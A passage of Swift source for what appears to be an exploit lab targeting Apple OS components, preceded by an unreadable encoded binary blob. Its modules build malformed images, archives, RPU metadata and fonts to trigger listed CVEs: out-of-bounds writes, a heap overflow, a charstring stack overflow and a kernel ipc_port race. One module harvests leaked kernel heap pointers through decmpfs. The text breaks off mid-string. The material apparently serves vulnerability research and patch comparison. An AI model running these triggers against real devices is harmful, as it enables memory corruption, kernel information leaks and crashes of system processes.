zbW$7Vsr9H(PHcS7T5XJs)&03CW$K?}l?d!jA0jz0oI~;PKJOB{N^@y#C?8r$l4C4c zkhffq4GEyYo7~od=k42QVG(}iYV#@IJ!bqeC~iJ`kgeT5)j7e5N#vCAD>2qMn{-UP z{TmLs?aw}obnE`}DQ{~3-ZT(a%A_y6ngiRkuEI(7(doo5hyLUdyC&oNRd_Vt-0LFO zuZG9ZsG^ilE{X`ZN?ceMOWF_qbaQ$cG+e87j zIHLcH`>ZX`KPT)9oQwzJ9c2|ewpsM7F>orJsZi9fmD)}niSX}6^C#`U5^@}6(b7d) zeYG*5RC<$mXIawoSg^ofpX7`0R%YJ}#2!B1-Jy&<7?%H}VD)zUUIIiB1NMU1*`9A(t#VJF=PD;1Jfd#3KE zx)VLaGfU`Qt!FUbGyWQ)VUoYY6szp&SqhhGyHLGTHyguh5E7s3Ay>@id7p-M z;m$2<4*uBhWC3##o&^mWa5>uiJFRywSYfZ%a4}=Yg$PJb`@0SJ${NSb<(o=r5JstA zfY~ajr-fO<%#*Q3dV@BWbv(|JA53*DR1Hi;DUn16?B6C9lzy&e-d`Vfbg5nRRT#7x zOHiCwiPs{?-nA3!wr18{t1J3K^-dYM)zmvpHhe~H{D92lfYC?=7E7a(N48R@i?Bxi zfQJkDw2UE}20>4wYTTD&`UheT=5x$OLqY=s>AyWURYn`t(-uuDxis41RDUY=`q$B>&Ts$8QG1WtiskO2nsHK)O&y1OyoKDs=Y>G z6&)8`bO~J^x+2syvNO4^CsvO^Witj|edNdt-hAe($Y}B()UhLpe126c7r%TQ zy9=Nl`c$a-TXNyUra@87v3*k-y+a|{2r{t_Jc9B5bZ@(!P%>@N+{suC(|xe6O+5@-XgR&uffueNEo8GiyA3w@**|HzdNN1lo{+LZZHOAR`>k&b?^vixBAf}Je}c4+<5OWk7nKt3A?A1YN`Z!#Pl_~XZGA(B>= z0puW#qM0j)Cr(10HhUK|2b!{)ZUfizzi)AHEZb%1^39y}OjV7vCbJ`QFXxu-@AM2^ zlDbbIo(6-E2H1FO{l}aq*I#&pLxh4SJ1|=Cw^>fs7oI|=%>(+9d`-3sBiMpg%_R(%}GwR?4re-`bf@2M^05Q^a5>Syi5lH*@GS^Y!XJ{Sh4|dGprMv;MOH z$sqf0HL~(7CKX)|{c>b3PEQ(|Pzi#6qLwky4<^ZwZlPH52H0G(B7E=AL( ze{qSw9rHvNOLL?gw!I10LFg1L=)P)qxJmOm?K_k`dyOunE5r>Sgz z>h!&Gk4076Qxxp4ojeiytC2N`)Gu7r9)n68KU24?4i6UvZR^kBlJQA}&L zvM=99_^*z>XR}*)(XN(|8!<&ww3Tv?#*nS_CCTjhKCGoH<1YO5<@X1FrrG#(G5K>v zNgD}j?>gyyY){{&)Tzy<*5xy6Ki>|v?Xzc(wScGfIL9|U22&!)T8|%uK=Nfe4h_D< zThE8T1b(ScTgHjUu+QsH)V(=$%{_BCsE{_6r3|8J<8TE+Fk!w<4;kcAW=e~H|% z%`>t`Q-!MT+V|JrD>-vc!mJS_?bNS3uKsZWdvnSZ8|qcTvh&uVqT;Jbm{anq!bmgh zZk*8m!bEs%4%Q0{2_$iSeyrQ43GLIj5}}*oyY@y&v}Z@B!J)w%r+AFFcfH!qHKFe9 zN($R*4izd{%v3766a9`U?S!r}rhchM&<KMs~A~;PM4`9yHP4qdsx((_u z56@4-uCs8vjWNOd=X_DR?np_vUO~BDcz4tVVP0w8^kk`(CZB$g+ZI2Uw(7OC2$tbeA;BCQFYZ56C%SKv_aU>1az79|#oG$GY| z=cF)bf}lDcJcmRFa*}#8%1=Kfjypv^bKb6Q!`5u;cZ^x?FWx1ERo$&>N{B2vLQ1lE7)wcTS6>E?{yBtTYbNWYr#R05_Ry3) zBU;Bao~MHsYkiOHlFh=Z4{g3w?_+n(tzZpGSPC{31QY}nY!}CgQ#;;Bk<*5B`4q;h zB3HWzY}+9Q4m^tFXJGR4#H}|b>5p_zruDdi!)V--{dh3?Yp?$6&>QT&W;!HO_U!SN zo;ZGWBE~}^yh{r*{$3b+YS3)5V02Al^r&N_Svs#eYd=RCNW$457LXY_Vcfe!hZ>yY znMa$aN9elZ6(0n`uL5bTMH1%o+y%QcoY~~*@mgHw8I>Wv@P|oXNQp@Yw5Y&IQr+FS z@Hq_IcV!SgKgG%1+#x0N)fjP@5&3SF4Z%le1VAwbF%UBC;>`DfP^m+6&-W}IghlUg zN61$~*a&Xc`20x(iKd(PtH|aMFHhr|syOoz+4&2^WwYMetB!oaMVBQ2?NxYOJDN@z zeE%@xFghWiBfZJqvzE1Zy2>sXVNt^}vK`D@b!J!k#R;FI_>F39JoB`Xp^gRP&9oFC z$SoM&!xjV{pFhj{$}k}vI_=e?BGAcU4j>8d$gj!v!3K@hV6FlLDJ2t9FzCS=>Ji4r zAC61+A_S9>0Qs#iY-?M^Fi)nhTIVL^bG0-+JMv60ohjpHqpbEdi}_ z{dZ7e`3dnY!%&3|46q-?<&$Y?A={9O`+R8cS zdcM&>!!-UhFr19+87aLQebEe1VkxIf3|z}4#po;sd(Sdf)I60GTCKI?0>8zM716}- zIx~3bc?hd5M0KDbu z1Yq_!PG}2mCUUYoNQ;DUhMO}N?F0iXDk=12eWP=hT}J*cx)^F@kkNrAKnrEG455h= z3s{1Zb{P+*){4|&wzN2WMqe}% zq2XLd1x=3s0|1zkT5HM=24jouKCIjl6cv1NzQZk_Gh2Mrr->{?9>U~WmIPr5R)Z`$+C#QxmDJHmb##bbvQV0Q^=?*v;AW>NKJXC)%QE zqpxwkq?bTR0LCXs4z2{|4jKXNSqU>a_}9XuSkk0pSYxDu6oSL30^LT3hK?tY4xX5k zK&}$AEvR*+G?EQFfeb5mLP7F%;FxT#3RmUP?&30H2m~A)6N!wZHCY6{$(o8am8MS- zz=$ka*$moP!2(j!#z15JGw^^ac*L1v%$Al;fg4==v&hQ&;w{zt=izWvXxuXA-*rru zk+0yK3pqt#iG9k7M_NsT>}#(#+{M#p;+SaFvR5A^1DJl`{mIJ7=Qk7L5;uPBZv#&B zu+@p_0>&Lv(Ee}FuoVepq98&poEfrNz=ETAEtm9_{b<(0pLPl3ae z$RrGC)8S!#N*B*SZ_OroJgl;znA3NTId)q%sxda-0BP~tG$nV)r|1#*Z3un;72JQ6qY8H>V?bmPpOpfuT#=j% zr$2~}X81&xQelvs#Y`e#KXTNX+HFc2@*e$AWjpB~PRLXz5V3g%ii6}Fi}}aWOo-mU z7D*`!oS{ORl7FD2O7wMqny~Z}^w9(SVGtq!Xbcnpb>|{2P9drYqK-D|{=iWZZaWZh z)CA0GJmBDCspLG6#^VGN>E1txuy7?Jfu~?PnKucG{0ANqk;VxYWT)f0>iDW$Y%6Tg zy8BJBo+6 z@O4TfL-*$rx)TNl%mj6N@2X+>zGmNfoVU}6eFZvmAI zRQ+F~!D&tAh+Vmf1Pntw^kR|ua>b|Pcn_?LaKmGPNv;UD9FPsL2i%-@5t1?`*G=A_ zwv?oB2%SK*vLu-`FomvOP%AkhNCpqDGv;;giY{Y>x=w4-p1V-<4<+Z1FV%q`TyVT=f{!xQf8OD#ux^srAXT}rxV5{@AL}p&96@(Y zK`PaFnk*htcnq8_5R98ZnkcO|PxzExxf2K$d0;7!`5#S?%>XZ+0E6vshUvggXD$Y4 za0wQEJW(m+2n}5MZ!U5c5&u$S475=RCr}V=%3$FG4v8RcQu9ZLaLKZJ>YU2!&eB!k zAX=JSqK!66Rj!xR`Y+6*mRBZn;&^HunrL2@OHaULS%;NQWe8yrPxgQXM?!J5mIOS& z^pGI)3GgUD^$4s!HcZ0feKa}gh>(~PSOJeOAm{M}4mlH+E@$Ee*Z~0JGU!Ta_WFj$ zD$#?5Twx&sC(TJm#Eg*yP;U@bB_d1~%-br}W(d(J7o^4%3>%kANNHf#C{CBQQkg(D z!1n%EG>{rOrvQjZG~EQOJ;2&p@U$P7A!u;(gcHd+FlH+lnH{qJ`1Bp1uZ&|ZkDo=Vw3jL;@Q zE(h@(pZ=*5_Ou&XIAhQx%5D7S-paj1QJ&JZ=c~a(xFjKf> i7B+gVN85Q 1 + return ModuleOutcome(headline: unstable ? tl("输出不稳定 — 未初始化内存迹象") : tl("输出稳定"), + detail: digests.joined(separator: "\n"), + evidence: ["TIFF \(tiff.count) B", tl("3 次解码指纹")], + artifacts: [url]) + }), + + ExploitModule( + id: "iio.apng.fctl", + titleZh: "APNG fcTL 截断 → 栈上未初始化帧几何", + cve: "CVE-2026-112630", + component: "ImageIO · IIO_Reader_PNG::getImageCount", + primitive: .infoLeak, + reach: .inProcess, + tier: 2, + summaryZh: "在 fcTL 偏移处读取 34 字节,且不检查返回值。当文件在 fcTL 中间被截断时,该 34 字节栈缓冲只有前部被写入,其余部分作为帧宽、高、偏移与延时被解析。", + notesZh: "27.2 改为读 26 字节并检查 cmp x0,#0x1a,报 \"*** truncated 'fcTL' chunk at offset %ld\"。", + run: { ctx in + let png = PNGPayload.apngTruncatedFCTL() + let url = ctx.write("apng_trunc_fctl.png", png) + ctx.arm("iio.apng.fctl", "getImageCount") + let r = try Runners.decodeImage(png) + ctx.disarm("iio.apng.fctl", "count=\(r.frameCount)") + return ModuleOutcome(headline: tl("帧数 ") + "\(r.frameCount)", + detail: tl("解码 ") + "\(r.decoded)" + tl(",尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)" + tl("\n属性: ") + "\(r.properties)", + evidence: ["PNG \(png.count) B", tl("fcTL 声明 26B 实到 4B")], + artifacts: [url]) + }), + + ExploitModule( + id: "iio.jpeg.marker", + titleZh: "JPEG 标记长度越界", + cve: "CVE-2026-112634", + component: "ImageIO · _JPEGFile::processData", + primitive: .oobRead, + reach: .inProcess, + tier: 2, + summaryZh: "当标记声明的长度远超实际存在的字节数时,27.0 仅记录一条 \"*** WARNING: check markerLength\" 并继续解析,导致越界读取;27.2 直接中止解析。", + notesZh: "长度 0xFFEE,实际负载 28 字节。", + run: { ctx in + let jpg = JPEGPayload.markerLength(declared: 0xFFEE, actual: 30) + let url = ctx.write("markerlen.jpg", jpg) + ctx.arm("iio.jpeg.marker", "decode") + let r = try Runners.decodeImage(jpg) + ctx.disarm("iio.jpeg.marker", "decoded=\(r.decoded)") + return ModuleOutcome(headline: tl("解析存活(已解码=") + "\(r.decoded)" + tl(")"), + detail: tl("帧数 ") + "\(r.frameCount)" + tl(",属性 ") + "\(r.properties)", + evidence: ["JPEG \(jpg.count) B", tl("声明长度 65518")], + artifacts: [url]) + }), + + ExploitModule( + id: "iio.jpeg.comment", + titleZh: "EXIF UserComment 短读 → 元数据泄露", + cve: "CVE-2026-112571", + component: "ImageIO · ReadUserComment", + primitive: .infoLeak, + reach: .inProcess, + tier: 2, + summaryZh: "getBytesAtOffset 的返回值未被检查。当条目值偏移落在标记之外时发生短读,malloc 缓冲尾部保持未初始化,随后该缓冲作为 UserComment 元数据返回给调用方 —— 构成对进程堆的直接读取。", + notesZh: "count 声明 0x400,值偏移 +0x4000。返回值里会打印实际拿到的字节数与前 24 字节。", + run: { ctx in + let jpg = JPEGPayload.exifUserComment(count: 0x400, valueOffset: 0x4000) + let url = ctx.write("exif_comment.jpg", jpg) + ctx.arm("iio.jpeg.comment", "read properties") + let r = try Runners.decodeImage(jpg) + ctx.disarm("iio.jpeg.comment", "props read") + return ModuleOutcome(headline: tl("元数据读取完成"), + detail: r.properties.isEmpty ? tl("无可用属性") : r.properties, + evidence: ["JPEG \(jpg.count) B", "UserComment count=1024 offset=16384"], + artifacts: [url]) + }), + + ExploitModule( + id: "iio.jpeg.gps", + titleZh: "GPS IFD 值偏移越界", + cve: "CVE-2026-112629", + component: "ImageIO · GPSCopy::processData", + primitive: .oobRead, + reach: .inProcess, + tier: 2, + summaryZh: "GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时,读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked,违规时抛出 OutOfBounds 异常。", + notesZh: "GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。", + run: { ctx in + let jpg = JPEGPayload.exifGPSOutOfBounds(delta: 0x10000) + let url = ctx.write("exif_gps_oob.jpg", jpg) + ctx.arm("iio.jpeg.gps", "read GPS") + let r = try Runners.decodeImage(jpg) + ctx.disarm("iio.jpeg.gps", "read") + return ModuleOutcome(headline: tl("GPS 读取存活"), + detail: r.properties.isEmpty ? tl("无可用属性") : r.properties, + evidence: ["JPEG \(jpg.count) B", tl("值偏移 +65536")], + artifacts: [url]) + }), + + ExploitModule( + id: "iio.dds.bc7", + titleZh: "BC7 纹理 mip 截断", + cve: "CVE-2026-112627", + component: "ImageIO · BCReadPlugin::initialize", + primitive: .oobRead, + reach: .inProcess, + tier: 2, + summaryZh: "截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码,块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误,并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。", + notesZh: "512×512 BC7 需要 65536 字节,实际只给 64 字节。", + run: { ctx in + let dds = TexturePayload.bc7Short(width: 512, height: 512, dataBytes: 64) + let url = ctx.write("bc7_short.dds", dds) + ctx.arm("iio.dds.bc7", "decode") + let r = try Runners.decodeImage(dds) + ctx.disarm("iio.dds.bc7", "decoded=\(r.decoded)") + return ModuleOutcome(headline: tl("解码存活(已解码=") + "\(r.decoded)" + tl(")"), + detail: tl("尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)", + evidence: ["DDS \(dds.count) B", tl("需要 65536 B,实际 64 B")], + artifacts: [url]) + }), + + ExploitModule( + id: "iio.ktx2", + titleZh: "KTX2 维度/层级尺寸运算", + cve: "CVE-2026-112625", + component: "ImageIO · KTX2ReadPlugin", + primitive: .intOverflow, + reach: .inProcess, + tier: 2, + summaryZh: "KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。", + notesZh: "维度 0xFFFF×0xFFFF,层级索引声明 64 字节。", + run: { ctx in + guard let data = ctx.seed("ktx2_bad_dims.ktx2") else { + throw LabError(message: tl("种子缺失 ktx2_bad_dims.ktx2")) + } + let url = ctx.write("ktx2_bad_dims.ktx2", data) + ctx.arm("iio.ktx2", "decode") + let r = try Runners.decodeImage(data) + ctx.disarm("iio.ktx2", "decoded=\(r.decoded)") + return ModuleOutcome(headline: tl("解码存活(已解码=") + "\(r.decoded)" + tl(")"), + detail: tl("尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)", + evidence: ["KTX2 \(data.count) B"], + artifacts: [url]) + }), + ] + + // MARK: - libarchive + + static let archive: [ExploitModule] = [ + ExploitModule( + id: "arc.iso", + titleZh: "ISO9660 Joliet 路径名堆溢出", + cve: "CVE-2026-112522", + component: "libarchive · build_pathname_utf16be", + primitive: .oobWrite, + reach: .inProcess, + tier: 1, + summaryZh: "build_pathname_utf16be 在递归拼入父路径之后无条件写入 2 字节的 UTF-16BE '/',且不再复核累计长度是否超过 1024 的上限。当目录链累计长度恰为 1024 字节时,最深层回卷的写入落在 p[1024] 与 p[1025],越过 malloc(1024) 两个字节,其中 0x002F 覆盖相邻堆块头。", + notesZh: "目录链长度 4×206 + 192 + 4×2 = 1024,与上限精确对齐。已在 macOS 同版本 fork 上以 bsdtar 复现,硬件断点命中于 \"Pathname is too long\" 之前的写指令。", + run: { ctx in + guard let iso = ctx.seed("joliet_path_oob.iso") else { + throw LabError(message: tl("种子缺失 joliet_path_oob.iso")) + } + let url = ctx.write("joliet_path_oob.iso", iso) + ctx.arm("arc.iso", "iterate headers") + let (entries, status) = try Runners.Archive.list(iso) + ctx.disarm("arc.iso", "entries=\(entries.count)") + return ModuleOutcome(headline: tl("遍历完成,") + "\(entries.count)" + tl(" 条目"), + detail: entries.joined(separator: "\n") + tl("\n状态: ") + "\(status)", + evidence: ["ISO \(iso.count) B", tl("累计路径 1024 B")], + artifacts: [url]) + }), + + ExploitModule( + id: "arc.iso.stress", + titleZh: "Joliet 路径长度循环", + cve: "CVE-2026-112522", + component: "libarchive · build_pathname_utf16be", + primitive: .oobWrite, + reach: .inProcess, + tier: 1, + summaryZh: "对同一 ISO 反复遍历,使 2 字节越界写在堆上多次发生并与其它分配交错。单次两字节的写通常被 malloc 元数据吸收,重复执行才可能将损坏推移到可见位置。", + notesZh: "32 轮,每轮新建 archive 句柄。", + run: { ctx in + guard let iso = ctx.seed("joliet_path_oob.iso") else { + throw LabError(message: tl("种子缺失")) + } + ctx.arm("arc.iso.stress", "32 rounds") + var lines: [String] = [] + for i in 0..<32 { + do { + let (entries, status) = try Runners.Archive.list(iso) + lines.append(tl("round ") + "\(i)" + tl(": ") + "\(entries.count)" + tl(" 条目 / ") + "\(status)") + } catch { + lines.append("round \(i): \(error.localizedDescription)") + } + } + ctx.disarm("arc.iso.stress", "32 rounds done") + return ModuleOutcome(headline: tl("32 轮完成,进程存活"), + detail: lines.suffix(10).joined(separator: "\n"), + evidence: [tl("重复越界写 32 次")]) + }), + ] + + // MARK: - CoreMedia + + static let coreMedia: [ExploitModule] = [ + ExploitModule( + id: "cm.rpu", + titleZh: "Dolby Vision RPU 扩展元数据块数组越界", + cve: "CVE-2026-112688", + component: "CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks", + primitive: .oobWrite, + reach: .systemProcess, + tier: 2, + summaryZh: "三个固定容量数组(A: 4×28 B,B: 8×14 B,C: 5×36 B)在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增,写入仍以未检查的计数为索引执行。数组 A 的越界写会越过 0x73b4 字节结构体末端,落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。", + notesZh: "该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查(magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过),故此处采用参数化语法探针,以解析器自身返回的错误作为进度回执。", + run: { ctx in + let payload = RPUPayload.probe(blockID: 1, blockCount: 6) + let url = ctx.write("rpu_probe_1x6.bin", payload) + var version: UInt32 = 0 + var level: UInt32 = 0 + ctx.arm("cm.rpu", "parse rpu") + let rc = try Runners.rpuParse(payload, version: &version, level: &level) + ctx.disarm("cm.rpu", "rc=\(rc)") + return ModuleOutcome(headline: tl("解析返回 ") + "\(rc)", + detail: tl("OSStatus=") + "\(rc)" + tl(" dmVersion=") + "\(version)" + tl(" dmLevel=") + "\(level)" + tl("\n负载 ") + "\(payload.count)" + tl(" B,block-id 1 × 6(容量 4)"), + evidence: ["RPU \(payload.count) B"], + artifacts: [url]) + }), + + ExploitModule( + id: "cm.rpu.sweep", + titleZh: "RPU 块数与块类型扫描", + cve: "CVE-2026-112688", + component: "CoreMedia · DOVI RPU", + primitive: .oobWrite, + reach: .systemProcess, + tier: 2, + summaryZh: "依次用 block-id 1/2/6 分别打三个数组(容量 4/8/5),每种块类型从刚好越界一个到越界八个,记录解析器在哪个点开始拒绝或崩溃。", + notesZh: "数组 A 是唯一逃出结构体、进入保存寄存器的那一个;B 和 C 是结构体内跨字段污染。", + run: { ctx in + var lines: [String] = [] + let plans: [(UInt32, [Int])] = [(1, [5, 6, 8]), (2, [9, 12, 16]), (6, [6, 8, 10])] + ctx.arm("cm.rpu.sweep", "sweep") + for (blockID, counts) in plans { + for c in counts { + let payload = RPUPayload.probe(blockID: blockID, blockCount: c) + var v: UInt32 = 0 + var l: UInt32 = 0 + do { + let rc = try Runners.rpuParse(payload, version: &v, level: &l) + lines.append("id=\(blockID) n=\(c) → rc=\(rc) v=\(v) l=\(l)") + } catch { + lines.append("id=\(blockID) n=\(c) → \(error.localizedDescription)") + } + } + } + ctx.disarm("cm.rpu.sweep", "done") + return ModuleOutcome(headline: tl("扫描完成"), detail: lines.joined(separator: "\n")) + }), + ] + + // MARK: - Kernel + + static let kernel: [ExploitModule] = [ + ExploitModule( + id: "kern.ipc", + titleZh: "ipc_port 请求表索引竞态", + cve: "CVE-2026-112507 / 112476", + component: tl("XNU · ipc_port.c 请求表消费方"), + primitive: .uaf, + reach: .kernel, + tier: 2, + summaryZh: "27.2 为每个消费 per-space 端口请求表索引的函数补入 cmp/b.hi 与 NULL 陷阱(ipc_port.c:21/24/34/38/40/41)。27.0 的 free 路径计算了边界却丢弃结果,仍以未检查的基址执行读改写;mark 路径则完全没有边界计算。索引取自 space 中保存的请求表下标,故缺陷形状为「表增长或拆除」与「通知注册或消息发送」并发下的陈旧索引。", + notesZh: "该路径上无 entitlement 门槛的入口为 mach_msg 与端口通知注册。本模块以 8 线程运行 6 秒,统计内核返回码分布 —— 任何非 KERN_SUCCESS 的出现频次变化都是索引越界的候选信号。", + run: { ctx in + let baseline = KernelIPC.baseline() + ctx.arm("kern.ipc", "race 6s") + let stats = KernelIPC.race(seconds: 6.0, workers: 4, depth: 48) + ctx.disarm("kern.ipc", "ops=\(stats.operations)") + var lines = [stats.summary, ""] + lines.append(tl("— 基线 —")) + for (k, v) in baseline.sorted(by: { $0.key < $1.key }) { + lines.append("\(k): \(v)") + } + if stats.notificationsRefused > 0 { + lines.append("") + lines.append(tl("— 平台限制 —")) + lines.append(tl("对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。")) + lines.append(tl("该平台不允许这条武装路径,故请求表索引竞态无法在此被驱动。")) + lines.append(tl("本模块仍完成了 ") + "\(stats.allocations)" + tl(" 次端口分配与回收,")) + lines.append(tl("验证了名称空间的分配/拆除路径本身可用。")) + } + let headline: String + if stats.notificationsRefused > 0 { + headline = tl("分配/拆除路径可用,通知武装被平台拒绝") + } else if !stats.kernelErrors.isEmpty { + headline = tl("竞态完成,内核返回 ") + "\(stats.kernelErrors.count)" + tl(" 类错误码") + } else { + headline = tl("竞态完成 ") + "\(stats.operations)" + tl(" 次操作,无异常返回") + } + return ModuleOutcome(headline: headline, + detail: lines.joined(separator: "\n"), + evidence: baseline.map { "\($0.key): \($0.value)" }) + }), + + ExploitModule( + id: "kern.decmpfs", + titleZh: "decmpfs 分块解压欠产出 → 内核堆泄露", + cve: "CVE-2026-113910", + component: "XNU · AppleFSCompressionTypeZlib", + primitive: .infoLeak, + reach: .kernel, + tier: 2, + summaryZh: "分块 zlib 解压的实际产出少于预期时,27.0 不比对 produced 与 expected,内核页缓冲的尾部因此保持未写状态;read() 随后将整个缓冲交回应用,使应用取得陈旧的堆内容。27.2 补入该比对。", + notesZh: "这是整套原语中少数完全不需要 entitlement 的内核路径:应用在自身容器内写入一个带 com.apple.decmpfs 扩展属性的文件,读回的内容即内核解压的产物。以 8 字节窗口扫描,凡落在内核地址空间范围(≥ 0xFFFFFFE000000000)的值即为候选指针。", + run: { ctx in + let url = ctx.workdir.appendingPathComponent("decmpfs_probe.bin") + ctx.arm("kern.decmpfs", "roundtrip") + var lines: [String] = [] + var totalHits = 0 + for (chunks, produce) in [(4, 65536), (4, 4096), (8, 1024), (2, 1)] { + let r = Runners.decmpfsProbe(at: url, + uncompressed: chunks * 65536, + chunks: chunks, + producePerChunk: produce) + totalHits += r.kernelPointerHits + lines.append("chunks=\(chunks) produce=\(produce): xattr=\(r.wroteXattr) read=\(r.readBack)B hits=\(r.kernelPointerHits) — \(r.note)") + if !r.samples.isEmpty { + lines.append(tl(" 候选: ") + r.samples.joined(separator: ", ")) + } + } + ctx.disarm("kern.decmpfs", "hits=\(totalHits)") + return ModuleOutcome(headline: totalHits > 0 ? tl("发现 ") + "\(totalHits)" + tl(" 个内核指针候选") : tl("未发现内核指针"), + detail: lines.joined(separator: "\n"), + artifacts: [url]) + }), + + ExploitModule( + id: "kern.baseline", + titleZh: "Mach 命名空间基线", + cve: "—", + component: "XNU · mach_port", + primitive: .probe, + reach: .kernel, + tier: 3, + summaryZh: "读取 bootstrap 端口与自身端口命名空间,确认竞态前的起点:能不能列出端口、能拿到多少个名字。", + notesZh: "任何一次竞态结果都要和这个基线一起看。", + run: { ctx in + ctx.arm("kern.baseline", "collect") + let base = KernelIPC.baseline() + ctx.disarm("kern.baseline", "collected") + return ModuleOutcome(headline: tl("基线已采集"), + detail: base.map { "\($0.key) = \($0.value)" }.sorted().joined(separator: "\n")) + }), + ] + + // MARK: - Audio + + static let audio: [ExploitModule] = [ + ExploitModule( + id: "aud.lc3", + titleZh: "LC3 解码器输入缓冲溢出", + cve: "CVE-2026-112638", + component: "AudioCodecs · ACLC3Decoder::AppendInputData", + primitive: .oobWrite, + reach: .entitlementGated, + tier: 2, + summaryZh: "memcpy 仅以 mDataByteSize 作为长度,完全不参考输入 vector 的 (begin, end) 容量。27.2 增加 capacity < size 时的拒绝分支。LC3 是蓝牙 LE Audio 的编解码器,其实例化受 com.apple.coreaudio.allow-lc3-codec 授权约束,故崩溃发生在系统音频进程内 —— 与公告所称「系统终止」一致。", + notesZh: "这个模块先检查进程是否持有该 entitlement,再尝试构造 LC3 AudioConverter 看内核/框架在哪一层拒绝。无授权时它一定失败,但失败点本身就是有用信息。", + run: { ctx in + ctx.arm("aud.lc3", "probe") + var lines: [String] = [] + let ents = Entitlements.dump() + let lc3 = ents["com.apple.coreaudio.allow-lc3-codec"] + lines.append("com.apple.coreaudio.allow-lc3-codec = \(lc3.map { "\($0)" } ?? tl("缺失"))") + lines.append(Runners.audioConverter(format: 0x6C633320, sampleRate: 48000, channels: 1)) + lines.append(Runners.audioConverter(format: 0x6C633320, sampleRate: 16000, channels: 2)) + ctx.disarm("aud.lc3", "probe complete") + return ModuleOutcome(headline: lc3 == nil ? tl("无授权 — 只能走无线链路") : tl("持有授权"), + detail: lines.joined(separator: "\n")) + }), + + ExploitModule( + id: "aud.hoa", + titleZh: "HOA 空间音频系数越界读", + cve: "CVE-2026-112546", + component: "AudioCodecs · APACHOADecoder::Initialize", + primitive: .oobRead, + reach: .systemProcess, + tier: 2, + summaryZh: "mNumHOAcoeffs 由文件内的 hoa::CodecConfig 反序列化取得。既有检查仅拦下大于 122 的值,而 37 至 121 之间的取值会索引一个长度为 37 的数组。27.2 将比较阈值改为 0x25。", + notesZh: "系数上限来自 kMaxNumSCs_DynSelSCs4EachSB。这条要真正打进去需要 MPEG-H / 沉浸式音频文件,应用侧只能探到解码器是否可达。", + run: { ctx in + ctx.arm("aud.hoa", "probe") + var lines: [String] = [] + let libs = ["/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox", + "/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore", + "/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs"] + for lib in libs { + guard let h = dlopen(lib, RTLD_NOW) else { + lines.append("✗ \(lib)") + continue + } + var found: [String] = [] + for sym in ["HOASpatialDecoder", "APACHOADecoder", "UniDrcSelection", "mpddrc"] { + if dlsym(h, sym) != nil { found.append(sym) } + } + lines.append(tl("✓ ") + "\(lib)" + tl(" 命中: ") + "\(found.isEmpty ? tl("无") : found.joined(separator: ", "))") + } + lines.append(Runners.audioConverter(format: 0x6D686D31, sampleRate: 48000, channels: 4)) + ctx.disarm("aud.hoa", "probe complete") + return ModuleOutcome(headline: tl("解码器可达性探测完成"), + detail: lines.joined(separator: "\n")) + }), + + ExploitModule( + id: "aud.haptic", + titleZh: "AVHaptic 自定义音频事件格式校验", + cve: "CVE-2026-113907", + component: "AudioToolbox · AVHapticServerInstance", + primitive: .oobWrite, + reach: .systemProcess, + tier: 2, + summaryZh: "createCustomAudioEvent 在 27.0 既不校验 ASBD 的合法性,也不比对 frames×bytesPerFrame 与实际波形字节数。27.2 同时补入这两项校验。该接口的 XPC 服务端位于 CoreHaptics 的服务器进程内。", + notesZh: "通过 CHHapticEngine 的 audioCustom 事件驱动,是最接近服务端入参的一条公开路径。", + run: { ctx in + ctx.arm("aud.haptic", "register + play") + let report = Runners.hapticCustomAudio(frameCount: 4096, declaredBytes: 4) + ctx.disarm("aud.haptic", "played") + return ModuleOutcome(headline: tl("触觉事件已尝试"), detail: report) + }), + ] + + // MARK: - Fonts / ModelIO + + static let fonts: [ExploitModule] = [ + ExploitModule( + id: "font.cff", + titleZh: "CFF Type2 charstring 操作数栈溢出", + cve: "CVE-2026-112683", + component: tl("FontParser · charstring 解释器"), + primitive: .oobWrite, + reach: .inProcess, + tier: 2, + summaryZh: "Type2 charstring 解释器的操作数栈为固定 48 项数组。27.0 仅在 pop 路径检查计数,push 路径不做检查。27.2 补入 Push/Pop 两道栈保护,并将扫描暂存区的 32 位乘法改为 64 位,同时修正了符号扩展指针。", + notesZh: "这个种子是一个裸 CFF:单个 charstring 连推 300 个操作数再 endchar。绘制字形才会真正执行解释器。", + run: { ctx in + guard let cff = ctx.seed("stack_bomb.cff") else { + throw LabError(message: tl("种子缺失 stack_bomb.cff")) + } + let url = ctx.write("stack_bomb.cff", cff) + ctx.arm("font.cff", "load + draw") + do { + let detail = try Runners.loadFont(cff) + ctx.disarm("font.cff", detail) + return ModuleOutcome(headline: tl("字体已加载并绘制"), detail: detail, + evidence: ["CFF \(cff.count) B", tl("charstring 推 300 个操作数")], + artifacts: [url]) + } catch { + // A refusal is the informative result here: it tells you which stage + // rejected the font, which is exactly what the A/B compares. + let message = (error as? LocalizedError)?.errorDescription ?? error.localizedDescription + ctx.disarm("font.cff", "rejected: \(message)") + return ModuleOutcome( + headline: tl("字体在解析阶段被拒绝"), + detail: "\(message)" + tl("\n\n种子 ") + "\(cff.count)" + tl(" B,单个 charstring 连续推入 300 个操作数后 endchar。\n") + + tl("27.0 期望:push 路径无计数检查,操作数栈越界。\n") + + tl("27.2 期望:Push/Pop 两道栈保护在解释前拒绝该字体。\n") + + tl("被拒绝本身即说明校验发生在解释器之前 —— 这是该构建上有效的观测。"), + evidence: ["CFF \(cff.count) B", tl("操作数 300 